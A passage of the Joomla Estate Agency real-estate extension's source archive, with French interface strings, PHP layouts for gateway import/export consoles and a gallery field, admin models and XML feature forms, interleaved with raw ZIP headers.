COM_JEA_FIELD_LANGUAGE_DESC="La langue pour cet enregistrement"
COM_JEA_FIELD_LATITUDE_LABEL="Latitude"
COM_JEA_FIELD_LIVING_SPACE_LABEL="Surface habitable"
COM_JEA_FIELD_LONGITUDE_LABEL="Longitude"
COM_JEA_FIELD_NOTES_DESC="Vous pouvez entrer des notes liées à ce
bien. Elles ne seront pas visibles dans la partie publique du site."
COM_JEA_FIELD_NOTES_LABEL="Note privée"
COM_JEA_FIELD_NUMBER_OF_BATHROOMS_LABEL="Nb de salles de bains"
COM_JEA_FIELD_NUMBER_OF_BEDROOMS_LABEL="Nb de chambres"
COM_JEA_FIELD_NUMBER_OF_ROOMS_LABEL="Nb de pièces"
COM_JEA_FIELD_NUMBER_OF_TOILETS_LABEL="Nb de wc"
COM_JEA_FIELD_ORIENTATION_LABEL="Exposition"
COM_JEA_FIELD_PRICE_LABEL="Prix"
COM_JEA_FIELD_PRICE_RENT_LABEL="Loyer"
COM_JEA_FIELD_PROPERTY_AVAILABILITY_LABEL="Date de
disponibilité"
COM_JEA_FIELD_PROPERTY_TYPE_LABEL="Type de bien"
COM_JEA_FIELD_PUBLISH_DOWN_DESC="Indiquez si nécessaire une date de
fin de publication.<br />Si vous n'indiquez rien, l'annonce
ne sera pas automatiquement dépublié (le système mettant la valeur
'0000-00-00 00:00:00')."
COM_JEA_FIELD_PUBLISH_DOWN_LABEL="Fin de publication"
COM_JEA_FIELD_PUBLISH_UP_DESC="Indiquez si nécessaire une date de
début de publication.<br />Si vous n'indiquez rien, la date de
création est utilisée."
COM_JEA_FIELD_PUBLISH_UP_LABEL="Début de publication"
COM_JEA_FIELD_RATE_FREQUENCY_LABEL="Fréquence"
COM_JEA_FIELD_REF_DESC="La référence du bien"
COM_JEA_FIELD_REF_LABEL="Référence"
COM_JEA_FIELD_SLOGAN_LABEL="Slogan"
COM_JEA_FIELD_TOWN_LABEL="Ville"
COM_JEA_FIELD_TRANSACTION_TYPE_LABEL="Type de transaction"
COM_JEA_FIELD_ZIP_CODE_LABEL="Code postal"
COM_JEA_FINANCIAL_INFORMATIONS="Informations financières"
COM_JEA_FOUND_PROPERTIES="bien(s) trouvé(s)"
COM_JEA_GEOLOCALIZATION="Géolocalisation"
COM_JEA_HEIGHT="Hauteur"
COM_JEA_INVALID_EMAIL_ADDRESS="Adresse mail invalide : %s.<br
/>"
COM_JEA_LAND_SPACE_MAX="Surface terrain max.."
COM_JEA_LAND_SPACE_MIN="Surface terrain min."
COM_JEA_LIST_PROPERTIES="Afficher les biens"
COM_JEA_LIVING_SPACE_MAX="Surface habitable max."
COM_JEA_LIVING_SPACE_MIN="Surface habitable min."
COM_JEA_LOCALIZATION="Localisation"
COM_JEA_MAP_MARKER_LABEL="Glissez puis déposez le marqueur à la
position souhaitée."
COM_JEA_MAP_OPEN="Ouvrir la carte"
COM_JEA_MAX="Max."
COM_JEA_MESSAGE="Message"
COM_JEA_MESSAGE_CONFIRM_DELETE="Êtes-vous sûr de vouloir supprimer
ce bien ?"
COM_JEA_MIN="Min."
COM_JEA_MODIFY_SEARCH="Modifier votre recherche"
COM_JEA_MSG_SELECT_PROPERTY_TYPE="Sélectionnez un type de bien"
COM_JEA_NAME="Nom"
COM_JEA_NEW_PROPERTY="Nouveau bien"
COM_JEA_NUMBER_OF_BATHROOMS_MIN="Nb de salles de bains Min."
COM_JEA_NUMBER_OF_BEDROOMS_MIN="Nb de chambres Min."
COM_JEA_NUMBER_OF_ROOMS_MIN="Nb de pièces Min."
COM_JEA_OPTION_DAILY="Quotidien"
COM_JEA_OPTION_EAST="Est"
COM_JEA_OPTION_EAST_WEST="Est-ouest"
COM_JEA_OPTION_MONTHLY="Mensuel"
COM_JEA_OPTION_NORTH="Nord"
COM_JEA_OPTION_NORTH_EAST="Nord-est"
COM_JEA_OPTION_NORTH_SOUTH="Nord-sud"
COM_JEA_OPTION_NORTH_WEST="Nord-Ouest"
COM_JEA_OPTION_RENTING="Location"
COM_JEA_OPTION_SELLING="Vente"
COM_JEA_OPTION_SOUTH="Sud"
COM_JEA_OPTION_SOUTH_EAST="Sud-est"
COM_JEA_OPTION_SOUTH_WEST="Sud-ouest"
COM_JEA_OPTION_WEEKLY="Hebdomadaire"
COM_JEA_OPTION_WEST="Ouest"
COM_JEA_PICTURES="Photos"
COM_JEA_PRICE_PER_FREQUENCY_DAILY="/ jour"
COM_JEA_PRICE_PER_FREQUENCY_MONTHLY="/ mois"
COM_JEA_PRICE_PER_FREQUENCY_WEEKLY="/ semaine"
COM_JEA_PROPERTY_NOT_FOUND="L'annonce n'existe plus."
COM_JEA_PROPERTY_TYPE_IN_TOWN="%s sur %s"
COM_JEA_PROPERTY_URL="URL de l'annonce"
COM_JEA_PUBLICATION_INFO="Infos de publication"
COM_JEA_PUBLISHED="Publié"
COM_JEA_REF="Réf"
COM_JEA_RESULTS_PER_PAGE="Résultats par page"
COM_JEA_RETURN_TO_THE_LIST="Retour à la liste"
COM_JEA_SEARCH_FLOOR_DESC="Mettre 0 pour le rez de chaussée"
COM_JEA_SEARCH_LABEL="Rechercher par titre ou par référence"
COM_JEA_SEARCH_NO_MATCH_FOUND="Aucun résultat trouvé."
COM_JEA_SEARCH_OTHER="Autres filtres"
COM_JEA_SEARCH_PARAMETERS_TITLE="Vos paramètres de recherche"
COM_JEA_SEARCH_ZIP_CODES="Codes postaux"
COM_JEA_SEARCH_ZIP_CODES_DESC="Entrez des codes postaux séparés par
des virgules."
COM_JEA_SEND="Envoyer"
COM_JEA_SORT_BY_AREA="Trier par quartier"
COM_JEA_SORT_BY_DATE="Trier par date"
COM_JEA_SORT_BY_DEPARTMENT="Trier par départment"
COM_JEA_SORT_BY_LAND_SPACE="Trier par surface terrain"
COM_JEA_SORT_BY_LIVING_SPACE="Trier par surface habitable"
COM_JEA_SORT_BY_POPULARITY="Trier par popularité"
COM_JEA_SORT_BY_PRICE="Trier par prix"
COM_JEA_SORT_BY_TOWN="Trier par ville"
COM_JEA_SUBJECT="Sujet"
COM_JEA_SUCCESSFULLY_REMOVED_PROPERTY="L'annonce a bien été
supprimée."
COM_JEA_TELEPHONE="Téléphone"
COM_JEA_TO="À"
COM_JEA_UNPUBLISHED="Non publié"
COM_JEA_WIDTH="Largeur"
COM_JEA_YOU_MUST_TO_ENTER_YOUR_NAME="Vous devez entrer votre
nom.<br />"
COM_JEA_YOU_MUST_TO_ENTER_A_MESSAGE="Vous devez entrer un
message.<br />"
JGLOBAL_FIELD_CREATED_LABEL="Date de création"
JGLOBAL_FIELD_MODIFIED_LABEL="Date de modification"
JOPTION_DO_NOT_USE="Ne pas utiliser"
PKdx�[8,�ekk$language/fr-FR/fr-FR.com_jea.sys.ininu�[���;
@author Sylvain Philip
; @copyright (C) 2008 - 2020 PHILIP Sylvain. All rights reserved.
; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; @note Complete
; @note All ini files need to be saved as UTF-8
COM_JEA="Joomla Estate Agency"
JEA="Joomla Estate Agency"
COM_JEA_FEATURES="Gérer les critères"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_TITLE="Liste des biens"
COM_JEA_PROPERTIES_DEFAULT_LAYOUT_DESC="Affiche une liste de
biens"
COM_JEA_PROPERTIES="Gérer les biens"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_TITLE="Gestion des biens"
COM_JEA_PROPERTIES_MANAGE_LAYOUT_DESC="Affiche une liste de biens
pouvant être administrés par un utilisateur"
COM_JEA_FORM_EDIT_LAYOUT_TITLE="Formulaire"
COM_JEA_FORM_EDIT_LAYOUT_DESC="Affiche un formulaire pour soumettre un
nouveau bien"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_TITLE="Recherche"
COM_JEA_PROPERTIES_SEARCH_LAYOUT_DESC="Affiche un formulaire de
recherche"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_TITLE="Recherche
géolocalisée"
COM_JEA_PROPERTIES_SEARCHMAP_LAYOUT_DESC="Affiche un formulaire de
recherche intéragissant avec une Google map"
COM_JEA_TOOLS="Outils"
PKdx�[�q�I��layouts/jea/gateways/nav.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/* @var $displayData array */
$action = $displayData['action'];
$view = $displayData['view'];
?>
<ul class="nav nav-pills">
<li<?php if ($view == 'console') echo '
class="active"' ?>>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways&layout='
. $action) ?>">
<span class="icon-play"></span> <?php echo
JText::_('COM_JEA_'. strtoupper($action))?></a>
</li>
<li<?php if ($view == 'gateways') echo '
class="active"' ?>>
<a href="<?php echo
JRoute::_('index.php?option=com_jea&view=gateways&filter[type]='
. $action) ?>">
<span class="icon-list"></span> <?php echo
JText::_('COM_JEA_GATEWAYS')?></a>
</li>
</ul>PKdx�[�y���!layouts/jea/gateways/consoles.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/* @var $displayData array */
$action = $displayData['action'];
echo JHtml::_('bootstrap.startTabSet',
'consoles-panel', array('active' =>
'console-ajax'));
echo JHtml::_('bootstrap.addTab', 'consoles-panel',
'console-ajax', JText::_('COM_JEA_'.
strtoupper($action) . '_AJAX'));
echo JLayoutHelper::render('jea.gateways.console.ajax',
$displayData);
echo JHtml::_('bootstrap.endTab');
echo JHtml::_('bootstrap.addTab', 'consoles-panel',
'console-cli', JText::_('COM_JEA_'. strtoupper($action)
. '_CLI'));
echo JLayoutHelper::render('jea.gateways.console.cli',
$displayData);
echo JHtml::_('bootstrap.endTab');
echo JHtml::_('bootstrap.endTabSet');
?>
PKdx�[x�Q Q $layouts/jea/gateways/console/cli.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/* @var $displayData array */
$action = $displayData['action'];
$script = <<<JS
jQuery(document).ready(function($) {
$('#php-interpreter').on('keyup', function(e) {
var text =
$('#cli-command').text().replace(/^[a-zA-Z0-9-_./]+/,
this.value);
$('#cli-command').text(text);
});
$( "#cli-form" ).submit(function(e) {
e.preventDefault();
$('#cli-console').empty();
$('#cli-launch').toggleClass('active');
var token =
$(this).find("input[type='hidden']").attr('name');
var data = {
php_interpreter: $('#php-interpreter').val(),
};
data[''+token] = 1;
$.post($(this).attr('action'), data).done(function(data) {
$('#cli-launch').toggleClass('active');
$("#cli-console").text(data);
});
});
});
JS;
$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>
<form action="<?php echo
JRoute::_('index.php?option=com_jea&task=gateways.'. $action)
?>" class="form-horizontal" id="cli-form"
method="post" >
<div class="control-group">
<label for="php-interpreter" class="control-label"
><?php echo JText::_('COM_JEA_FIELD_PHP_INTERPRETER_LABEL')
?></label>
<div class="controls">
<input class="input-small" type="text"
name="php_interpreter" id="php-interpreter"
value="php" />
</div>
</div>
<p><?php echo JText::_('COM_JEA_FIELD_COMMAND_LABEL')
?></p>
<?php if ($action == 'export') :?>
<pre id="cli-command"><?php echo 'php ' .
JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --export
--basedir="' . JPATH_ROOT . '" --baseurl="' .
JUri::root() . '"' ?></pre>
<?php else: ?>
<pre id="cli-command"><?php echo 'php ' .
JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --import
--basedir="' . JPATH_ROOT . '"' ?></pre>
<?php endif ?>
<div>
<?php echo JHtml::_('form.token'); ?>
<button type="submit" id="cli-launch"
class="btn btn-success has-spinner">
<span class="spinner"><i class="jea-icon-spin
icon-refresh"></i></span>
<?php echo JText::_('COM_JEA_LAUNCH')?>
</button>
</div>
<pre id="cli-console"
class="console"></pre>
</form>
PKdx�[S2k��%layouts/jea/gateways/console/ajax.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/* @var $displayData array */
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';
JHTML::script('media/com_jea/js/console.js');
JText::script('COM_JEA_GATEWAY_IMPORT_TIME_REMAINING', true);
JText::script('COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED', true);
$action = $displayData['action'];
$dispatcher = GatewaysEventDispatcher::getInstance();
$dispatcher->loadGateways($action);
$dispatcher->trigger('initWebConsole');
$script = <<<JS
function GatewaysActionDispatcher() {
this.queue = []
this.register = function(action) {
this.queue.push(action)
}
this.nextAction = function()
{
if (this.queue.length > 0) {
var nextAction = this.queue.shift()
nextAction()
}
}
}
jQuery(document).ready(function($) {
var dispatcher = new GatewaysActionDispatcher();
$(this).on('gatewayActionDone', function(e) {
$('#console').append($('<br>'));
if (dispatcher.queue.length == 0) {
$('#ajax-launch').toggleClass('active');
} else {
dispatcher.nextAction();
}
});
$('#ajax-launch').on('click', function(e) {
$(this).toggleClass('active');
$('#console').empty();
$(document).trigger('registerGatewayAction',
[$('#console').console(), dispatcher]);
dispatcher.nextAction();
});
});
JS;
$document = JFactory::getDocument();
$document->addScriptDeclaration($script);
?>
<button id="ajax-launch" class="btn btn-success
has-spinner">
<span class="spinner"><i class="jea-icon-spin
icon-refresh"></i></span>
<?php echo JText::_('COM_JEA_'. strtoupper($action) .
'_LAUNCH')?>
</button>
<div id="console" class="console"></div>
PKdx�[��Glayouts/jea/fields/gallery.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/* @var $displayData array */
$uploadNumber = (int) $displayData['uploadNumber'];
$images = $displayData['images'];
$name = $displayData['name'];
JHtml::_('behavior.modal');
JHtml::script('media/com_jea/js/admin/gallery.js');
?>
<p>
<?php for ($i = 0; $i < $uploadNumber; $i ++): ?>
<input type="file" name="newimages[]"
value="" size="30" class="fltnone" />
<br />
<?php endfor?>
</p>
<?php if (!extension_loaded('gd')): // Alert & return if
GD library for PHP is not enabled ?>
<div class="alert alert-warning">
<strong>WARNING: </strong>The <a
href="http://php.net/manual/en/book.image.php"
target="_blank">
GD library for PHP</a> was not found. Ensure to install
it.</div>
<?php return ?>
<?php endif ?>
<ul class="gallery">
<?php foreach ($images as $k => $image): ?>
<li class="item-<?php echo $k ?>">
<?php
if (isset($image->error)){
echo $image->error;
continue;
}
?>
<a href="<?php echo $image->url ?>"
title="Zoom" class="imgLink modal" rel="{handler:
'image'}">
<img src="<?php echo $image->thumbUrl ?>"
alt="<?php echo $image->name ?>" />
</a>
<div class="imgInfos">
<?php echo $image->name ?><br />
<?php echo JText::_('COM_JEA_WIDTH') ?> : <?php echo
$image->width ?> px<br />
<?php echo JText::_('COM_JEA_HEIGHT') ?> : <?php echo
$image->height ?> px<br />
</div>
<div class="imgTools">
<a class="img-move-up" title="<?php echo
JText::_('JLIB_HTML_MOVE_UP') ?>">
<?php echo
JHtml::image('media/com_jea/images/sort_asc.png', "Move
up")?>
</a>
<a class="img-move-down" title="<?php echo
JText::_('JLIB_HTML_MOVE_DOWN') ?>">
<?php echo
JHtml::image('media/com_jea/images/sort_desc.png', "Move
down")?>
</a>
<a class="delete-img" title="<?php echo
JText::_('JACTION_DELETE') ?>">
<?php echo
JHtml::image('media/com_jea/images/media_trash.png',
"Delete")?>
</a>
</div>
<div class="clearfix"></div>
<div class="control-group">
<div class="control-label">
<label for="<?php echo $name . $k ?>title">
<?php echo JText::_('JGLOBAL_TITLE') ?></label>
</div>
<div class="controls">
<input id="<?php echo $name. $k ?>title"
type="text"
name="<?php echo $name?>[<?php echo $k
?>][title]"
value="<?php echo $image->title ?>"
size="20"
/>
</div>
</div>
<div class="control-group">
<div class="control-label">
<label for="<?php echo $name . $k
?>desc"><?php echo JText::_('JGLOBAL_DESCRIPTION')
?></label>
</div>
<div class="controls">
<input id="<?php echo $name. $k ?>desc"
type="text"
name="<?php echo $name?>[<?php echo $k
?>][description]"
value="<?php echo $image->description ?>"
size="40"
/>
<input type="hidden" name="<?php echo
$name?>[<?php echo $k ?>][name]" value="<?php echo
$image->name ?>" />
</div>
</div>
</li>
<?php endforeach?>
</ul>
PKdx�[���zzmodels/gateway.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\File;
require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';
/**
* Gateway model class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JModelAdmin
*
* @since 3.4
*/
class JeaModelGateway extends JModelAdmin
{
/**
* Overrides parent method
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
*
* @return JForm|boolean A JForm object on success, false on failure
*
* @see JModelForm::getForm()
*/
public function getForm($data = array(), $loadData = true)
{
$app = JFactory::getApplication();
$type =
$app->getUserStateFromRequest('com_jea.gateway.type',
'type', '', 'cmd');
// @var $form JForm
$form = $this->loadForm('com_jea.' . $type, $type,
array('control' => 'jform', 'load_data'
=> false));
if (empty($form))
{
return false;
}
$item = $this->getItem($app->input->getInt('id', 0));
// Load gateway params
if ($item->id)
{
$formConfigFile = JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/providers/' . $item->provider . '/' .
$item->type . '.xml';
if (File::exists($formConfigFile))
{
// Try to load provider language file
JFactory::getLanguage()->load($item->provider, JPATH_COMPONENT,
null, false, false);
$gatewayForm = $this->loadForm('com_jea.' . $item->type
. '.' . $item->provider, $formConfigFile,
array('load_data' => false));
$form->load($gatewayForm->getXml());
}
$dispatcher = GatewaysEventDispatcher::getInstance();
$dispatcher->loadGateway($item);
$dispatcher->trigger('onPrepareForm',
array('form' => $form));
$data = $this->loadFormData();
$form->bind($data);
}
return $form;
}
/**
* Overrides parent method
*
* @return array The default data is an empty array.
*
* @see JModelForm::loadFormData()
*/
protected function loadFormData()
{
// Check the session for previously entered form data. See
JControllerForm::save()
$data =
JFactory::getApplication()->getUserState('com_jea.edit.gateway.data',
array());
if (empty($data))
{
$data = $this->getItem();
}
return $data;
}
/**
* Overrides parent method
*
* @param array $data The form data.
*
* @return boolean True on success, False on error.
*
* @see JModelAdmin::save()
*/
public function save($data)
{
if (isset($data['params']) &&
is_array($data['params']))
{
$data['params'] = json_encode($data['params']);
}
return parent::save($data);
}
}
PKdx�[3�\�\\models/gateways.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Gateways model class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JModelList
*
* @since 3.4
*/
class JeaModelGateways extends JModelList
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
*
* @see JModelList
*/
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'id',
'title',
'provider',
'published',
'ordering',
);
}
parent::__construct($config);
}
/**
* Overrides parent method
*
* @return JDatabaseQuery A JDatabaseQuery object to retrieve the data
set.
*
* @see JModelList::getListQuery()
*/
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from('#__jea_gateways');
if ($type = $this->state->get('filter.type'))
{
$query->where('type=' . $db->Quote($type));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'id');
$orderDirn = $this->state->get('list.direction',
'desc');
$query->order($db->escape($orderCol . ' ' . $orderDirn));
return $query;
}
}
PKdx�[IC��((models/featurelist.phpnu�[���<?php
/**
* This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
*
* @package Joomla.Administrator
* @subpackage com_jea
* @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Filesystem\Folder;
/**
* Feature list model class.
*
* @package Joomla.Administrator
* @subpackage com_jea
*
* @see JModelList
*
* @since 2.0
*/
class JeaModelFeaturelist extends JModelList
{
/**
* Constructor.
*
* @param array $config An optional associative array of configuration
settings.
*
* @see JModelList
*/
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'f.id',
'f.value',
'f.ordering',
'l.title',
);
}
parent::__construct($config);
}
/**
* Method to get a store id based on model configuration state.
*
* This is necessary because the model is used by the component and
* different modules that might need different sets of data or different
* ordering requirements.
*
* @param string $id A prefix for the store id.
*
* @return string A store id.
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('feature.name');
$id .= ':' . $this->getState('filter.search');
$filters = $this->getState('feature.filters');
if (is_array($filters) && !empty($filters))
{
foreach ($filters as $filter)
{
$state = $this->getState('filter.' . $filter);
if (!empty($state))
{
$id .= ':' . $state;
}
}
}
return parent::getStoreId($id);
}
/**
* Overrides parent method
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
* @see JModelList::populateState()
*/
protected function populateState($ordering = 'f.id', $direction
= 'desc')
{
// The active feature
$feature = $this->getUserStateFromRequest($this->context .
'.feature.name', 'feature');
$this->setState('feature.name', $feature);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
// Retrieve the feature table params
$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
$xmlFiles = Folder::files($xmlPath);
foreach ($xmlFiles as $filename)
{
$matches = array();
if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
{
if ($feature == $matches[1])
{
$form = simplexml_load_file($xmlPath . '/' . $filename);
$this->setState('feature.form', $form);
$this->setState('feature.table', (string)
$form['table']);
$filterFields =
$form->xpath("/form/fields[@name='filter']");
$filters = array();
if (isset($filterFields[0]) && $filterFields[0] instanceof
SimpleXMLElement)
{
foreach ($filterFields[0]->children() as $filterField)
{
$filter = (string) $filterField['name'];
$filterState = $this->getUserStateFromRequest($this->context .
'.filter.' . $filter, 'filter_' . $filter,
'');
$this->setState('filter.' . $filter, $filterState);
$filters[] = $filter;
$this->filter_fields[] = $filter;
}
}
$this->setState('feature.filters', $filters);
// Check if this feature uses language
$lang =
$form->xpath("//field[@name='language']");
if (!empty($lang))
{
$this->setState('language_enabled', true);
}
break;
}
}
}
parent::populateState($ordering, $direction);
}
/**
* Get the filter form
*
* @param array $data data
* @param boolean $loadData load current data
*
* @return \JForm|boolean The \JForm object or false on error
*
* @since 3.2
*/
public function getFilterForm($data = array(), $loadData = true)
{
$form = parent::getFilterForm($data, $loadData);
if ($form instanceof JForm)
{
$featureForm = $this->getState('feature.form');
if ($featureForm instanceof SimpleXMLElement)
{
$form->load($featureForm);
if ($loadData)
{
$data = $this->loadFormData();
$form->bind($data);
}
}
}
return $form;
}
/**
* Overrides parent method
*
* @return JDatabaseQuery A JDatabaseQuery object to retrieve the data
set.
*
* @see JModelList::getListQuery()
*/
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
$query->select('f.*')->from($db->escape($this->getState('feature.table'))
. ' AS f');
// Join over the language
if ($this->getState('language_enabled'))
{
$query->select('l.title AS language_title');
$query->join('LEFT',
$db->quoteName('#__languages') . ' AS l ON l.lang_code =
f.language');
}
if ($filters = $this->getState('feature.filters'))
{
foreach ($filters as $filter)
{
if ($filterState = $this->getState('filter.' . $filter,
''))
{
$query->where('f.' . $filter . ' =' .
$db->Quote($filterState));
}
}
}
// Filter by search
if ($search = $this->getState('filter.search'))
{
$search = $db->Quote('%' . $db->escape($search, true) .
'%');
$query->where('f.value LIKE ' . $search);
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'f.id');
$orderDirn = $this->state->get('list.direction',
'desc');
$query->order($db->escape($orderCol . ' ' . $orderDirn));
return $query;
}
}
PKdx�[|��WWmodels/forms/import.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form>
<fields
addfieldpath="/administrator/components/com_jea/models/fields">
<field name="id" type="hidden" />
<field name="title" type="text"
label="JGLOBAL_TITLE" description="JFIELD_TITLE_DESC"
class="input-xxlarge input-large-text" size="40"
required="true" />
<field name="published" type="radio"
label="JSTATUS" description="JFIELD_PUBLISHED_DESC"
class="btn-group" filter="intval" size="1"
default="1">
<option value="1">JPUBLISHED</option>
<option value="0">JUNPUBLISHED</option>
</field>
<field name="provider"
type="gatewayproviderlist"
label="COM_JEA_GATEWAY_FIELD_PROVIDER_LABEL"
provider_type="import" required="true" />
<field name="type" type="hidden"
default="import" />
</fields>
<fields name="params" />
</form>PKdx�[0LMۤ�)models/forms/features/08-hotwatertype.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_hotwatertypes">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_HOTWATERTYPE_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[uk�S��$models/forms/features/05-amenity.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_amenities">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_AMENITY_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[�o��!models/forms/features/01-type.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_types">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_PROPERTY_TYPE_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[�<���#models/forms/features/09-slogan.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_slogans">
<fieldset name="feature">
<field
name="id"
type="text"
label="JGLOBAL_FIELD_ID_LABEL"
description ="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0"
readonly="true"
/>
<field
name="value"
type="text"
label="COM_JEA_FIELD_SLOGAN_LABEL"
size="50"
/>
<field
name="ordering"
type="hidden"
/>
<field
name="language"
type="contentlanguage"
label="JFIELD_LANGUAGE_LABEL"
description="COM_JEA_FIELD_LANGUAGE_DESC"
>
<option value="*">JALL</option>
</field>
</fieldset>
<fields name="filter">
<field
name="language"
type="contentlanguage"
label="JOPTION_FILTER_LANGUAGE"
description="JOPTION_FILTER_LANGUAGE_DESC"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_LANGUAGE</option>
<option value="*">JALL</option>
</field>
</fields>
</form>
PKdx�[.G�Z��(models/forms/features/07-heatingtype.xmlnu�[���<?xml
version="1.0" encoding="UTF-8"?>
<form table="#__jea_heatingtypes">
<fieldset name="feature">
<field
